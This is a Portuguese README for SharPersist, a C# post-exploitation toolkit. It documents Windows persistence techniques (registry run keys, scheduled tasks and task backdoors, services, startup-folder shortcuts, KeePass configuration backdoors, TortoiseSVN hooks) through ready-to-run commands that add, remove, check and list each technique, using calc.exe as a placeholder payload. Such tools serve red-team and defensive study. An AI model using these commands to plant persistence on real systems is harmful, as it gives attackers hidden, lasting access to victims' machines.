
Kit de ferramentas em C# para estabelecer e gerenciar persistência no Windows por meio de chaves de registro, tarefas agendadas, serviços, pastas de inicialização, configurações do KeePass e hooks do TortoiseSVN.
Kit de ferramentas de persistência no Windows escrito em C#. Para informações detalhadas de uso sobre cada técnica, consulte a Wiki.
Autor - Brett Hawkins (@h4wkst3r)
Siga os passos abaixo para configurar o Visual Studio e compilar o projeto você mesmo. Isso requer algumas bibliotecas .NET que podem ser instaladas pelo gerenciador de pacotes NuGet.
As bibliotecas de terceiros abaixo são utilizadas neste projeto.
| Biblioteca | URL | Licença |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | Licença MIT |
| Fody | https://github.com/Fody/Fody | Licença MIT |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - backdoor no arquivo de configuração do keepassreg - adição/modificação de chave de registroschtaskbackdoor - backdoor em tarefa agendada adicionando uma ação adicional a elastartupfolder - arquivo lnk na pasta de inicializaçãotortoisesvn - script de hook do tortoise svnservice - criar novo serviço do Windowsschtask - criar nova tarefa agendadaadd - adicionar técnica de persistênciaremove - remover técnica de persistênciacheck - executar dry-run da técnica de persistêncialist - listar entradas atuais da técnica de persistênciaenv - complemento opcional para ofuscação de variáveis de ambiente no registrohourly - complemento opcional para frequência de schtaskdaily - complemento opcional para frequência de schtasklogon - complemento opcional para frequência de schtaskhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
Registro
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Backdoor em Tarefa Agendada
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
Pasta de Inicialização
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Serviço do Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
Tarefa Agendada
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
Registro
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
Backdoor em Tarefa Agendada
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
Pasta de Inicialização
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Serviço do Windows
SharPersist -t service -n "Some Service" -m remove
Tarefa Agendada
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
Registro
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
Backdoor em Tarefa Agendada
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
Pasta de Inicialização
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Serviço do Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
Tarefa Agendada
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
Registro
SharPersist -t reg -k "hkcurun" -m list
Backdoor em Tarefa Agendada
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
Pasta de Inicialização
SharPersist -t startupfolder -m list
Serviço do Windows
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
Tarefa Agendada
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon